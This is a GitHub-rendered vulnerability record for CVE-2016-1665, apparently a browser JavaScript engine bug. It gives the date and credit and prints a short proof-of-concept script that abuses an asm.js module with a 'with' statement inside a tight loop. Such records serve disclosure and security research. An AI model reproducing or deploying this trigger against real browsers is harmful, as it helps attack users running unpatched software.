Skip to content

Latest commit

 

History

History
29 lines (24 loc) · 448 Bytes

CVE-2016-1665.md

File metadata and controls

29 lines (24 loc) · 448 Bytes

CVE-2016-1665

  • Date: Apr 2016
  • Credit: HyungSeok Han

PoC

var data = new Uint8Array(0x100);
for(i=0;i<0x100;i++)data[i]=0x41;
f = new Function("\
vuln=(function(){\
  \"use asm\";\
  function f(i){\
   for(i=0;i<0x10000;i++){\
     var a= new Uint8Array(data); \
    with(a[0]){};\
   }\
  }\
  return f;})();\
")
f()
vuln();
vuln();

Reference